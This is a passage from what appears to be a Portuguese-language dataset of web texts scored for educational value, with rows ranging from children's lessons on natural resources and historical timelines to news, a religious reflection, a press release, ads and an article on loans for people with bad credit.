rigorosos de revisão e seleção, o que reduzirá o tempo de publicação dos artigos aprovados. Àqueles que desejam publicar seus casos, disporemos em breve uma área no nosso site. Aqueles trabalhos já submetidos serão tratados como sempre foram. +A melhoria desses nossos indicadores é fundamental para que sejamos alçados às mais altas categorias da classificação de periódicos da CAPES e que, com isso, os nossos artigos sejam mais valorizados ainda, ocupemos mais assentos nos cursos de pós-graduação, obtenhamos mais recursos dos órgãos de fomento, tenhamos mais influência nas decisões das instituições de ensino e dos hospitais universitários e, finalmente, conquistemos cada vez mais respeito para a nossa especialidade. É esse o caminho. E é esse o principal desafio que se nos apresenta. Desafio não menor do que o daquele outro Sylvio Caldas (o original, com ""y""), que, em Recife, seguramente movido pelo mesmo espírito que tem impulsionado todos os atores da história da RBORL, há 70 anos, fundou, dirigiu e manteve, por iniciativa e recursos próprios, por três anos, os Anais de Oto-Rino-Laringologia. A ele e a esse espírito dedicamos este editorial.",original,original,original,original,3,0.6 +Claro! A moça (máquina?) pensou (???) que Usa era sigla dos Estados Unidos.... kkkkk... E era verbo português! kkkk,original,original,original,original,1,0.2 +"Olá, pequenos exploradores! Já pararam para pensar de onde vêm as coisas que usamos todos os dias? A água que bebemos, a comida que comemos, o papel do nosso caderno, a madeira da nossa mesa… Tudo isso vem da natureza! A natureza é muito generosa e nos oferece muitos presentes, que chamamos de recursos naturais. + +Recursos naturais são tudo aquilo que retiramos da natureza para usar e transformar em outras coisas. Eles são muito importantes para a nossa vida e para o desenvolvimento das cidades. Existem diferentes tipos de recursos naturais. A água, por exemplo, é um recurso natural essencial para beber, tomar banho, cozinhar e muitas outras coisas. As plantas, como as árvores, nos dão madeira para construir casas e móveis, além de nos fornecerem alimentos como frutas e verduras. O solo, onde plantamos nossos alimentos, também é um recurso natural muito importante. E o sol? O sol é uma fonte de energia incrível, que nos dá luz e calor! + +Existem recursos naturais que se renovam com o tempo, como a água da chuva e as plantas. Chamamos esses recursos de renováveis. Mas também existem recursos que demoram muito tempo para se formar, como o petróleo e o carvão mineral. Esses são os recursos não renováveis. Por isso, é muito importante usarmos os recursos naturais com cuidado e responsabilidade, para que eles não acabem e para que as futuras gerações também possam aproveitá-los. Podemos economizar água ao escovar os dentes, apagar a luz ao sair de um cômodo, separar o lixo para reciclagem e plantar árvores para ajudar a natureza a se manter saudável. + +Agora, pensem um pouco: quais outros recursos naturais vocês conhecem? Como podemos usar esses recursos de forma consciente e sustentável? O que aconteceria se os recursos naturais acabassem? Proteger a natureza é cuidar do nosso futuro e garantir um planeta saudável para todos! A natureza é a nossa casa, e precisamos cuidar dela com muito carinho e respeito.",Geografia,Recursos naturais,anos iniciais (1º ao 5º ano),"O trecho é altamente relevante e proveitoso para fins educacionais no nível fundamental, com estilo de escrita claro e consistente, assemelhando-se a um capítulo de livro didático ou a um tutorial. O conteúdo educacional é robusto, abordando recursos naturais, renováveis e não renováveis, e a importância do uso consciente. Inclui exemplos práticos e incentiva a reflexão e ação, adequando-se ao nível de escolaridade. Apresenta raciocínio de fácil compreensão, oferecendo insights completos sem conteúdo complexo.",5,1.0 +"Por isto precisamos orar e vigiar. +Para construir uma história leva-se uma +Para destruí-la basta uma atitude errada! +""Tem muitas pessoas que criticam as igrejas que prometem cura aos enfermos,mas o próprio Senhor Jesus operava a cura através da fé."" +Quem crê será curado,quem não crê vai seguir uma vida de dor e lamentação batendo de porta em porta de hospitais,curandeiros... +De acordo com os evangelhos, um centurião romano pediu ajuda a Jesus por que um dos seus servos mais jovens estava doente. Jesus se ofereceu para ir à casa do centurião para realizar a cura, mas ele sugeriu que Jesus o fizesse à distância, pois ele não se considerava digno de tê-lo em sua casa. Ao ouvir isso, Jesus disse: +Em verdade vos afirmo que nem mesmo em Israel achei tamanha fé. Digo-vos que muitos virão do oriente e do ocidente, e hão de sentar-se com Abraão, Isaque e Jacó no reino dos céus; mas os filhos do reino serão lançados nas trevas exteriores; ali haverá o choro e o ranger de dentes....Vai-te e como creste, assim te seja feito. (Mateus 8:10-13) +E o garoto ficou curado na mesma hora. +Este episódio é um exemplo de como Jesus enfatizava o valor da fé, um tema que já aparecera quando Jesus curou o servo do centurião. +Então respondeu Jesus, e disse-lhe: O mulher, grande é a tua fé! Seja isso feito para contigo como tu desejas. E desde aquela hora a sua fi… +Somos a engrenagem de uma máquina possante que se chama Universo! +Vivemos em um mundo onde a sabedoria muitas vezes parece se esconder atrás dos olhos do Universo. Somos submetidos a situações que mais nos parecem testes de resistência, tamanha é a grandeza dos acontecimentos. Quem somos? Onde podemos chegar? Quem são nossos amigos? Em quem confiar? Onde estão nossas chances? Onde pegar forças para que tudo isso mude em prol de uma satisfação? Essas e muitas outras dúvidas cercam nossas vidas! +O que pode parecer grandioso, muitas vezes nos espanta com a inferioridade dos resultados. Crenças, certezas, superioridade, e muitas outras razões benéficas se apagam diante das transformações submetidas em nosso dia a dia. +Para tantas razões transformadas, o que muitas vezes nos resta é esperar o tempo passar na esperança de que o Universo se encarregue de tratar da mudança. Será que é assim que devemos agir? +somos a engrenagem de uma máquina possante que se chama Universo! Jamais essa engrenagem que somos se manterá lubrificada para a b… +O Evangelho de Marcos relata um episódio similar, no qual Jesus explica como um homem se contamina com o mal que sai dele: +Seus discípulos teriam quebrado a tradição dos anciãos... +No Evangelho de Mateus, os fariseus reclamam a Jesus que seus discípulos teriam quebrado a tradição dos anciãos, pois eles não lavaram suas mãos antes de comer. E a esta provocação, Jesus respondeu: +E, tendo passado para o outro lado, chegaram à terra de Genesaré. +E, quando os homens daquele lugar o conheceram, mandaram por todas aquelas terras em redor e trouxeram-lhe todos os que estavam enfermos. +E rogavam-lhe que ao menos eles pudessem tocar a orla da sua roupa; e todos os que a tocavam ficavam sãos. +E logo ordenou Jesus que os seus discípulos entrassem no barco, e fossem adiante para o outro lado, enquanto despedia a multidão. +E, despedida a multidão, subiu ao monte para orar, à parte. E, chegada já a tarde, estava ali só. +E o barco estava já no meio do mar, açoitado pelas ondas; porque o vento era contrário; +Este milagre também é conhecido como ""milagre dos cinco pães e dois peixes"", dado que João reporta que cinco pequenos pães de cevada e dois peixinhos, fornecidos por um garoto, foram utilizados por Jesus para alimentar a multidão. +E disse-lhes Jesus: Entendestes todas estas coisas? Disseram-lhe eles: Sim, Senhor. +E ele disse-lhes: Por isso, todo o escriba instruído acerca do reino dos céus é semelhante a um pai de família, que tira do seu tesouro coisas novas e velhas. +Depois de conhecermos as parábolas que foram instruídas pelo Senhor,cabe a nós moldarmos nosso caráter e seguirmos...",original,original,original,original,2,0.4 +"Sessão Pública PNPOT « Comissão de Coordenação e Desenvolvimento Regional do Alentejo Sessão Pública PNPOT – Comissão de Coordenação e Desenvolvimento Regional do Alentejo +Home » Notícias » Sessão Pública PNPOT +Sessão Pública PNPOT +CONVITE +A proposta de alteração do Programa Nacional da Política de Ordenamento do Território (PNPOT), determinada pela Resolução do Conselho de Ministros nº 44/2016 de 23 de agosto, que irá estabelecer as grandes opções estratégicas de base territorial com relevância para a organização do território e o respetivo programa de ação, encontra-se em discussão pública, com o objetivo de proporcionar um diálogo alargado e de melhorar a proposta por forma a responder aos problemas e desafios críticos para o território nacional. +Considerando a importância da participação ativa das entidades que representam diferentes setores, assim como dos demais atores territoriais e cidadãos interessados, vai realizar-se um seminário, onde se apresentará a Estratégia e Agenda para o Território e se promoverá o debate sobre as suas propostas e orientações. +Neste âmbito a DGT e a CCDR têm o prazer de o (a) convidar para o Seminário de discussão pública da alteração do PNPOT, que terá lugar no dia 28 de maio, às 14h30, no Auditório da CCDR Alentejo, em Évora e será de entrada livre, ainda que sujeita a inscrição prévia e à capacidade do espaço. +Uma sessão que contará com a presença dos Srs. Ministros da Administração Interna, Eduardo Cabrita e do Ambiente, João Pedro Matos Fernandes, na abertura, da Senhora Secretária de Estado do Ordenamento do Território e Conservação da Natureza, Célia Ramos, no encerramento, além do Senhor Secretário de Estado do Ambiente, Carlos Martins, na temática “ A água e o território”. +Registe aqui a sua participação na sessão, até 24 de maio (Inscrições encerradas). +Consulte aqui o Programa +Partilhar: +Tweet +CCDR ALENTEJO +REGIÃO ALENTEJO +ALENTEJO 2020 +SISTEMAS DE INFORMAÇÃO +Subscrever Newsletter +Please enable the javascript to submit this form +Privacidade e Cookies: Este site usa cookies. Ao continuar a usar este site, você concorda com seu uso.",original,original,original,original,1,0.2 +"Curso online grátis de Deficiência Visual | Escola de Cursos Online +Junte-se aos mais de 20 MIL alunos +Curso online grátis de Deficiência Visual +Area de aplicação: Aplica- se à área de Educação +A Escola de Cursos Online (ESCON) oferece o curso de Deficiência Visual grátis com certificado. +No curso gratuito de Deficiência Visual o(a) aluno(a) terá acesso a um vasto material, disponível para download, em sua ""Área do aluno"" para estudar e se qualificar quando e onde quiser, disponível 24 horas por dia, 7 dias por semana em nossa plataforma de Ensino a Distância (EAD). +O curso online grátis de Deficiência Visual possui carga horária variável de 08 a 280 horas. A carga horária final desse curso dependerá exclusivamente da necessidade do(a) aluno(a). +Conceito e tipos de deficiência visual +Causas, consequências e fatores de risco da deficiência visual. +A tecnologia a serviço do deficiente visual. +Direitos do deficiente visual +O trabalho pedagógico com o deficiente visual e seu processo inclusivo +O Curso Online Deficiência Visual oferece aos educadores e profissionais de áreas afins,uma compreensão mais ampla sobre as atividades específicas que envolvem a aprendizagem com sucesso do deficiente visual em seu processo educacional, a qual pode favorecer sua inclusão social e profissional. Aborda tanto os aspectos pedagógicos, terapêuticos como relacionais, respeitando a diversidade e incentivando o fim dos preconceitos para que se concretize a inclusão de forma positiva.Faça seu CURSO A DISTÂNCIA e receba seu certificado. +Vença Desafios com Criatividade",original,original,original,original,4,0.8 +"A SBI Holdings, gigante financeira japonesa, anunciou o lançamento da VCTRADE, a primeira corretora de criptomoedas no Japão apoiada por um uma grande instituição do setor bancário. +A princípio, a VCTRADE vai oferecer os serviços apenas para usuários que fizeram um pré-cadastrado na plataforma em outubro de 2017, que são cerca de 20 mil, mas em julho deste ano a empresa deve disponibilizar as comodidades para um público mais amplo, segundo a Coindesk, em publicação na última segunda-feira (04). +Inicialmente, de acordo com a empresa, as negociações foram habilitadas apenas para a XRP, haja visto que o foco do projeto desde o começo era de usar a tecnologia do blockchain da Ripple, dada sua estrutura para transações internacionais, mas em breve serão adicionadas à plataforma o Bitcoin (BTC) e o Bitcoin Cash (BCH). +Foi dito, ainda, que no lançamento as taxas serão zero para transações no par XRP/JPY (ripple/iene), porém, para saque em moeda fiat serão cobradas as taxas tradicionais de acordo com a política financeira da plataforma. +A demora para o lançamento da primeira bolsa de criptomoedas de propriedade de uma instituição financeira japonesa deu-se por conta das preocupações com a segurança e também por quebras de acordo – a empresa, preliminarmente, teria como parceira a exchange Huobi, mas o acordo não vingou. +A SBI Holdings concluiu o registro da VCTRADE na Agência de Serviços Financeiros do Japão (FSA) em setembro de 2017. Ela anunciou em fevereiro deste ano que a inauguração seria adiada devido a preocupações de segurança em meio à invasão da Coincheck, em janeiro. +A gigante financeira tem uma participação acionária de 40% na CoolBitX, uma empresa de Taiwan que desenvolve carteiras físicas de criptomoedas, e também uma participação na bitFlyer, com o maior do mercado de câmbio do Japão. +Há rumores de que a tecnologia de carteiras frias (off-line) da CoolBitX poderia ser usada pela SBI Holdings e pela VCTRADE para armazenar os criptoativos dos clientes, segundo o Coin Journal. +Mais de 30 corretoras no Brasil +Segundo um levantamento feito pelo Portal do Bitcoin, checando informações de uma postagem de um grupo do Facebook dedicado a criptomoedas, no Brasil há mais de 30 bolsas em operação e algumas em fases de abertura. +A enxurrada de novas empresas no setor pode se tornar um problema no futuro, visto que o volume negociado no país é muito baixo. No entanto a concorrência deve se intensificar. +A perspectiva de novas regulamentações nos Estados Unidos e na União Europeia, além de fortes restrições no mercado chinês, estão trazendo novas exchanges ao país. +A terceira maior exchange do mundo, a Huobi, já está praticamente em solo brasileiro e planeja iniciar as operações até o fim do ano. +O post Primeira Corretora de Criptomoedas Apoiada por um Banco Será no Japão apareceu primeiro em Portal do Bitcoin. +PIB deve andar de lado até o fim do ano – Exame +PM é morto em tentativa de assalto em Diadema – Isto É",original,original,original,original,2,0.4 +"Já parou para pensar como organizamos os eventos que aconteceram antes de nós? Como sabemos o que veio primeiro e o que veio depois? A resposta está em algo muito importante para a História: a linha do tempo! Imagine uma régua gigante, onde cada marcação representa um momento diferente. Essa régua nos ajuda a entender a ordem dos acontecimentos e como eles se conectam. + +A linha do tempo não precisa ser algo complicado e cheio de datas difíceis de lembrar. Pense, por exemplo, na sua própria vida. Se você fosse criar uma linha do tempo da sua história, como começaria? Talvez com o dia em que você nasceu, depois o dia em que aprendeu a andar, o primeiro dia na escola, e assim por diante. Cada um desses momentos é importante e ajuda a contar a sua história. Na História do Brasil e do mundo, funciona da mesma forma, só que com eventos que aconteceram há muito tempo e com muitas pessoas envolvidas. + +Para entender melhor, vamos pensar na história do Brasil. Na linha do tempo do nosso país, teríamos momentos como a chegada dos portugueses em 1500, a Independência em 1822, a Abolição da Escravidão em 1888, a Proclamação da República em 1889, e muitos outros. Cada um desses eventos mudou o rumo da nossa história e nos ajudou a chegar onde estamos hoje. + +Mas por que a linha do tempo é tão importante? Ela nos ajuda a entender as causas e consequências dos eventos. Por exemplo, ao colocar a Abolição da Escravidão depois da Independência, percebemos que o Brasil demorou muito tempo para acabar com a escravidão, mesmo já sendo um país independente. A linha do tempo também nos mostra como as coisas mudaram ao longo do tempo. Podemos comparar como era a vida das pessoas há 100 anos com a vida de hoje e perceber o quanto a tecnologia, os costumes e as leis evoluíram. + +Criar sua própria linha do tempo é um ótimo exercício para entender como tudo se encaixa. Que tal pegar um caderno e desenhar uma linha? Comece com eventos da sua família, da sua cidade ou até mesmo do mundo. Pesquise datas importantes e tente entender o que aconteceu em cada momento. Você vai ver como a História pode ser muito mais interessante quando a gente a organiza dessa forma. Afinal, entender o passado nos ajuda a construir um futuro melhor! Será que os eventos de hoje estarão em livros de História no futuro? O que você acha que será lembrado daqui a 100 anos?",História,Linha do tempo,anos finais (6º ao 9º ano),"O texto apresenta um alto valor educacional, introduzindo o conceito de linha do tempo de forma clara e acessível, utilizando exemplos práticos e relevantes para o ensino fundamental. A linguagem é adequada à faixa etária, e o conteúdo é bem estruturado, incentivando o aluno a criar sua própria linha do tempo e a compreender a relação entre os eventos históricos. Além disso, estimula a reflexão sobre o impacto do passado no presente e no futuro.",5,1.0 +"Mobile Baykeeper, SELC processa Alabama Power para impedir a poluição contínua de cinzas de carvão no Delta do Rio Mobile-Tensaw - mnwat +Skip to content +Top Menu +November 28, 2022 +Terms of Use +Privacy Policy +Cookie Privacy Policy +DMCA +California Consumer Privacy Act (CCPA) +Contact Me +mnwat +Welcome to mnwat.net +Home +Aparelhos +Internet +Móvel +Contact Me +Search for: +Main Menu +Móvel +Mobile Baykeeper, SELC processa Alabama Power para impedir a poluição contínua de cinzas de carvão no Delta do Rio Mobile-Tensaw +September 26, 2022 September 26, 2022 - by ZeroToHero - Leave a Comment +Comunicado de imprensa | 26 de setembro de 2022 +MOBILE, Alabama – Hoje, o Southern Environmental Law Center e ex-procurador dos EUA para o Distrito Sul do Alabama, Richard Moore, entrou com uma ação em nome da Mobile Baykeeper contra a Alabama Electric, desafiando a empresa por deixar permanentemente mais de 21 milhões de toneladas de petróleo para um esquema ilegal. Cinzas de carvão da usina de Barrie, em um poço sem revestimento na planície de inundação ao longo do Rio Mobile. +“A Usina Barry é a única grande lagoa de cinzas de carvão na região costeira de baixa altitude do Sudeste que não foi limpa ou preparada para reciclagem ou transferência para uma área de armazenamento segura longe das vias navegáveis”, disse Barry Brock, diretor do escritório da SELC no Alabama. . “A Alabama Power passou e teve que enfrentar o fato de que deixar cinzas de carvão molhadas e poluídas nas margens do rio Mobile não é uma solução de longo prazo – é um desastre”. +As cinzas de carvão da usina de Barrie poluem as águas subterrâneas com altas concentrações de arsênico e outros poluentes há décadas. A Alabama Power planeja armazenar milhões de toneladas de cinzas de carvão em um poço próximo ao Rio Mobile e dentro do Delta do Rio Mobile-Tensaw para garantir a poluição contínua. +Além disso, a área de Mobile tem uma das chuvas mais fortes nos Estados Unidos. Quando o delta inunda, envia água por todo o delta, ao longo dos rios Mobile e Tenso, para a Baía Mobile. Nos últimos anos, houve dois grandes desastres de cinzas de carvão que custaram milhões de toneladas de cinzas de carvão tóxicas lançadas em rios adjacentes, colocando em risco comunidades e empresas a jusante. +“Mobile-Tensaw River Delta e Mobile Bay são inestimáveis ​​para o litoral do Alabama”, disse o Baykeeper Cade Kistler, do Mobile Baykeeper. “Essas águas são a pedra angular da economia, da qualidade de vida e do meio ambiente da região. A Alabama Power planeja manter suas 21 milhões de toneladas de cinzas de carvão no alto rio Mobile, Delta e Mobile Bay, o que manterá a poluição das águas subterrâneas diminuindo indefinidamente e colocando a costa do Alabama em risco de um derramamento catastrófico, como no Tennessee e na Carolina do Norte”. +A Regra de Resíduos de Combustão de Carvão da Agência de Proteção Ambiental, que rege o fechamento de lagoas de cinzas de carvão em todo o país, contém vários padrões de desempenho que proíbem as concessionárias de deixar cinzas de carvão nas águas subterrâneas. No entanto, é exatamente isso que o plano da Alabama Power é fechar a lagoa de cinzas de carvão Plant Barry, onde as cinzas de carvão estão saturadas com águas subterrâneas. A regra exige que os proprietários de silos de cinzas de carvão que não atendem aos padrões de desempenho para deixar as cinzas no local devem movê-las para um aterro seco, aterro ou reciclagem. +Em 20 de julho de 2022, o Mobile Baykeeper emitiu um aviso de intenção de processar para fazer cumprir os requisitos da Coal Ash Rule contra o Alabama Power. O período de aviso prévio de 60 dias já passou, mas a Alabama Power não tem planos de corrigi-lo, permitindo que Baykeeper e SELC entrem com uma ação no Tribunal Distrital dos EUA para o Distrito Sul do Alabama para fazer cumprir os requisitos da lei federal. +Em todo o Sudeste, outras concessionárias estão removendo mais de 270 milhões de toneladas de cinzas de carvão de lagos de cinzas de carvão não...",original,original,original,original,2,0.4 +"Artigo obesidade infantil. Trabalhos de casa - Serviço +Artigo obesidade infantil, Este artigo objetivou caracterizar a obesidade infantil causas e consequências da obesidade infantil, finalizando com a explanação a cerca. +A obesidade infantil é um grande problema de saúde pública, que eleva os índices de morbidade e mortalidade entre as crianças. Infantil a obesidade exógena (atribuída a fatores ambientais, como alimentação, hábitos artigos-chave selecionados de citações em outros artigos. Sobrepeso e obesidade infantil apresentam prevalência elevada e caráter multifatorial com o objetivo de determinar a influência de fatores biológicos e. Obesidade infantil: uns quilos a mais hoje, uns anos a menos no futuro este artigo objetivou caracterizar a obesidade infantil, que vem ganhando atenção. Obesidade infantil [todos os índices] simões, daniela and meneses, rute f auto-conceito em crianças com e sem obesidade psicol reflex. +Apesar de ser fácil de calcular e interpretar, os parâmetros oferecidos pelo imc não costumam ser utilizados isoladamente para determinar a presença de obesidade. A prevalência mundial da obesidade infantil vem apresentando um rápido aumento nas últimas décadas, sendo caracterizada como uma verdadeira epidemia mundial. O presente artigo tem como objetivo descrever a obesidade infantil obesidade infantil, como fatores familiares, influência do marketing e descontrole. +Obesidade infantil, actividade física e sedentarismo em crianças do 1ºciclo do ensino básico da cidade de bragança (6 a 9 anos. Artigos, teses e dissertações recentes sobre obesidade infantil para seu tcc, tese ou monografia texto completo. Artigo de revisão etiologia da obesidade walmir coutinho introdução a prevalência da obesidade tem crescido rapidamente e representa um dos principais. Risco para a obesidade infantil segundo alguns artigos estudados um estudo transversal, em. +Diagnóstico da obesidade infantil associação brasileira para o estudo da obesidade e da síndrome metabólica - abeso dra maria edna de melo. Obesidade infantil não e o educador físico marcio atalla mostram como a atividade física melhora a qualidade de vida dos pequenos e é fundamental na luta contra. O tema obesidade infantil foi escolhido a partir da observação, do crescente aumento da obesidade na infância, fato esse, muito preocupante porque acarreta em. Diagnóstico da obesidade infantil associação brasileira para o estudo da obesidade e da síndrome metabólica - abeso dra maria edna de melo cremesp 106455. Artigo sobre obesidade infantil as crianças podem tornar-se obesas por variadas razões as mais comuns são factores genéticos, falta de actividade física. +Volume 16, número 2 issn 2447-2131 joão pessoa, 2016 artigo obesidade infantil: influência dos pais sobre a alimentação e estilo de vida dos filhos. Leia este outras artigos científicos e mais 662000 outros documentos de pesquisas obesidade infantil obesidade infantil pesando na vida das nossas crianças a. Artigo: obesidade infantil e uma proposta de educação física preventiva 1 introdução o objeto de estudo e o papel da educação física vêem. A obesidade infantil é um problema atual com várias implicações na vida da este artigo tem como objetivo geral analisar as causas da obesidade infantil. Como você define a obesidade de acordo com a organização mundial da saúde próximo artigo obesidade infantil artigos relacionados mais do autor. +Infantil a obesidade exógena este artigo objetiva revisar a literatura acerca da epidemiologia, etiogênese e prevenção da obesidade infantil, a. +Sobrepeso e obesidade infantil apresentam prevalência elevada e caráter multifatorial artigo original sobrepeso e obesidade infantil: influência de. +Artigo original prevalência de obesidade e fatores de risco cardiovascular em campos, rio de janeiro luiz j de souza carlos gicovate neto félix eb chalita. +Capítulo iii - a obesidade infantil no brasil e no mundo capítulo iv - a obesidade infantil nas diferentes classes sociais 11 artigo i: preva...",original,original,original,original,3,0.6 +"Primeira medalha de ouro de um atleta brasileiro em Olimpíada +Primeira medalha de ouro de um atleta brasileiro em Olimpíada +Guilherme Paraense venceu a prova de tiro nos jogos olímpicos de Antuérpia em 1920 +Guilherme foi primeiro campeão olímpico Arquivo da família +A primeira participação de atletas brasileiros em uma Olimpíada foi em 1920, nos jogos de Antuérpia, na Bélgica. Lá o então tenente do exército Guilherme Paraense, aos 36 anos de idade, se tornou o primeiro brasileiro a ganhar uma medalha de ouro. +Paraense venceu a prova com pistola de tiro rápido no dia 3 de agosto, superando o favorito da modalidade, o americano Raymond Bracken, com uma diferença de apenas dois pontos: 274 contra 272. A disputa aconteceu em área de treinamento do exército belga em Beverloo, vizinho a Waterloo, famosa cidade onde o exército de Napoleão Bonaparte, o maior imperador da França, foi derrotado em 1815. +A prova de tiro, naquela época, exigia muita perícia dos competidores e autocontrole. A 30 metros do alvos, o competidor tinha que fazer 30 disparos. A pontuação máxima possível era de 300 pontos. Paraense venceu o americano com um tiro certeiro no último disparo, fechando a série com um índice de aproveitamento de 91,33%. +Um dia antes da conquista do primeiro ouro olímpico do Brasil, Paraense já havia conquistado a primeira medalha de uma delegação brasileira, de bronze, com a equipe de tiro, ao lado de Sebastião Wolf, Dario Barbosa e Afrânio Costa. +Era mesmo o dia do Brasil, naquela mesma data, Afrânio Costa também ganhou uma medalha de prata na disputa individual dos 50 metros pistola livre. +Além das duas medalhas, sendo uma de ouro, Paraense também foi escolhido como porta-bandeira da delegação brasileira na cerimônia de abertura dos jogos, duas semanas depois, no dia 16 de agosto. +Oziris de Carvalho Paraense, 86 anos, nascido no Rio de Janeiro, é filho caçula de Guilherme Paraense e lembra com carinho do pai medalhista olímpico. ""O que mais me marcou foi a humildade dele. Nunca se envaideceu por ter feito o que fez, sempre se manteve como sempre: tranquilo, correto e dedicado a todos"", disse Oziris. +No Brasil, Guilherme Paraense era um atleta de ponta nas provas de tiro, antes da Olimpíada já tinha sido campeão nacional e sulamericano disputando provas pelo exército e pelo Fluminense Football Club. Mesmo assim, o desempenho extraordinário na Bélgica superou todas as expectativas. +De volta ao Brasil, recebeu uma placa de ouro das mãos do presidente Epitácio Pessoa com a gravação de versos do poeta Gonçalves Dias. ""Meu avô falava dos jogos olímpicos com muita alegria e satisfação. A família tem muito orgulho da sua história. Ele sempre gostou de esportes e alguns anos depois chegou a fundar um time de futebol com os filhos aqui no Rio de Janeiro"", disse a dentista Valéria Paraense Ferreira, neta do medalhista. +As medalhas e a arma usada por Guilherme em 1920 Arquivo da família +Guilherme era casado com Belina Paraense e teve sete filhos, apenas os dois mais novos estão vivos: Oysis e Oziris. Eric Paraense, filho de Oziris, relembra o convívio que teve com o avô quando criança. ""Tenho uma única lembrança do meu avô, quando eu era bem criança, de 3 para 4 anos, ele me pondo no colo, brincando comigo, na sua antiga casa no Rio. Ele morreria pouco tempo depois. Enquanto ele viveu, para mim foi o avô amoroso desse momento, até porque eu não tinha noção do que ele tinha feito, só depois entendi. Isso o faz maior ainda para mim. Ele poderia ter sido um homem sisudo, aquele militar da reserva talvez vaidoso por tudo o que fez, mas não, foi sobretudo o meu avô e foi esse homem carinhoso com todos, segundo me contaram. Então, acho que ele foi campeão em vários sentidos"", disse. +A participação dos atletas brasileiros na olímpiada de Antuérpia teve lances dramáticos que valorizam ainda mais as conquistas. A viagem, feita de navio, começou no dia 1º de julho, quando os 20 esportistas de diversas modalidades embarcaram para a Europa. Paraense e os ou...",original,original,original,original,4,0.8 +"Do Tempo da Outra Senhora: E depois da classificação? +O passado dos “Bonecos de Estremoz” conta uma história multissecular que conseguiu, apesar das dificuldades, resistir à voracidade do tempo. A sua classificação como Património Cultural Imaterial da Humanidade, pela UNESCO, permitiu aos “bonecos”, e aos artesãos que restam, ganhar o presente. Isso é certo. +Mas a atribuição desse selo, por si só, não garante o futuro da arte. Esse terá que ser assegurado através de um labor consistente – e persistente - de formação, de incentivo e de mobilização por parte dos responsáveis municipais. É que os artesãos que restam – e já não são muitos – não vão para novos. Há, pois, que avançar rapidamente com medidas concretas de apoio financeiro e logístico para que eles possam transmitir o seu saber aos mais novos, pois serão estes que um dia poderão assegurar a continuidade do figurado em barro de Estremoz. Se a classificação como Património Imaterial também garantir isto, então sim, o trabalho que verdadeiramente interessa estará feito, e bem feito. +Como de costume, no calor dos momentos que antecederam a classificação pela UNESCO foram feitas muitas promessas e ao mais alto nível da hierarquia municipal: “Questionado relativamente ao que mudaria no município de Estremoz, se o Figurado em Barro entrasse para a Lista Representativa, Luís Mourinha aponta a “visão” do município, em termos de “patrocínios de várias atividades”; “Seria igualmente priorizada, como “obrigação do município” a construção de um centro “dedicado aos bonecos e ao barro”, (Luís Mourinha, 21/11/2017, in www.radiocampanario.com). Promessas reiteradas depois dessa mesma classificação: “criação de “um equipamento” lúdico, de estudo e formação, com “permanência de pessoas que possa praticar a arte”, sendo igualmente necessário cativar os jovens para a arte.” (Luís Mourinha, 07/12/2017, in www.radiocampanario.com). +Com tantas e tão ambiciosas garantias, não restam dúvidas: as expectativas são altas, até porque os “bonecos” e os artesãos que os criaram, e criam, assim o merecem. Que o futuro nesta terra, por uma vez, não seja só “para o boneco”…",original,original,original,original,2,0.4 +"Conversas no Final - #046 - Superpoderes Bêbado uploaded by Conversas no Final - Listen +Conversas no Final #046 - Superpoderes Bêbado +Bolívar e Alê escolhem um superpoder que só fica ativo se eles estiverem MUITO bêbados.",original,original,original,original,0,0.0 +"Menu +Crônica +A Careta, uma revista semanal sobre os acontecimentos da cidade, tinha uma seção que se chamava ""Cartas de um matuto"", em que era apresentada em versos notícias em forma de uma cartas entre um matuto chamado Tiburcio D'Assunção e sua comadre Thereza. Em algumas semanas eles se alternavam na autoria das cartas. Feitas com muito bom humor, essas crônicas se tornam interessantes para se estudar os eventos do início do século XX. Na edição 131 da revista, de 3 de dezembro de 1910, o matuto Tiburcio escreve sobre a Revolta da Chibata:",original,original,original,original,4,0.8 +"Com a crise econômica dos últimos anos, além de aumento no preço em variados setores do mercado e a instabilidade da inflação, agora não ficou tão difícil encontrar pessoas com problemas financeiros no Brasil. +Aqui no país, já são milhões de inadimplentes, que não conseguiram pagas as suas contas em dia e ficaram com o nome negativado nos órgãos de proteção de crédito, isto é, com o “nome sujo”, seja por conta de dívidas de cartões de crédito, escola dos filhos, conta de água e luz, IPTU, IPVA, entre outras. +Para você ter uma ideia, segundo dados do Serviço de Proteção ao Crédito (SPC Brasil), em 2016, mais de 58,3 milhões de brasileiros estavam inadimplentes, o que equivale a mais de 39% da população adulta. +Por isso, muitas pessoas estão em busca de crédito para conseguir pagar as suas contas e voltar a dormir com tranquilidade, como é o caso do empréstimo pessoal, que é oferecido por várias instituições financeiras no país. O grande problema é que, justamente nesta situação, fica mais difícil conseguir a aprovação por parte de bancos e financeiras. +É por isso que existe hoje em dia o empréstimo para negativados, que vamos falar melhor no nosso artigo de hoje. Afinal, é possível conseguir um empréstimo mesmo estando com o “nome sujo”? Será mesmo que é a melhor opção para sair do sufoco? Vale a pena? E quais são os cuidados essenciais para não cair em golpes? Confira nos próximos parágrafos! +Como funciona? +O empréstimo para negativados é uma modalidade dentro da categoria de empréstimo pessoal, ou seja, voltado para pessoas físicas. A diferença entre os dois é que o primeiro é voltado para pessoas que estejam com o nome negativado nos órgãos de proteção ao crédito, isto é, com o “nome sujo”. +Na prática, o consumidor faz a solicitação em um banco ou financeira, que serão os responsáveis por fazer a análise de crédito. Se o solicitante for aprovado, recebe o dinheiro emprestado através de depósito na conta bancária. +No entanto, a maioria das empresas credoras de crédito ou bancos rejeita esse tipo de cliente, visto o risco maior de ele não pagar e piorar a situação de inadimplência. Além disso, em caso de aprovação do empréstimo, normalmente, as taxas de juros costumam ser muito altas. E a lógica é simples: já que o risco é alto para o credor que está emprestando o dinheiro, a taxa de juros também será. +Para você ter uma ideia, muitas vezes, o valor dos juros pode até mesmo superar o valor original da dívida. Por isso, se não houver o cuidado necessário, além de um bom planejamento financeiro dentro do orçamento real do devedor, pegar um empréstimo, neste caso, só poderá piorar a situação, causando a chamada “bola de neve”. +Como conseguir um empréstimo para negativados confiável? +Se você está negativado e pensando em pedir um empréstimo para pagar as suas dívidas, pode conseguir um empréstimo para negativados em um banco, como a Caixa ou o Bradesco, ou em empresas especializadas neste tipo de crédito. +Se você decidir ir até o seu banco, pode solicitar o empréstimo pessoal diretamente com o seu gerente. Também é possível pedir a partir dos aplicativos ou internet banking que muitas instituições financeiras já disponibilizam atualmente. Veja o que melhor se encaixa no seu caso! +Além dos bancos, muitas credoras também oferecem empréstimos para negativados, seja em suas lojas físicas ou de forma online, como você vai conferir mais à frente. O mais importante antes de tudo isso é sempre verificar a reputação da credora ou banco em relação a empréstimos pessoais e, é claro, colocar na ponta do lápis e analisar as 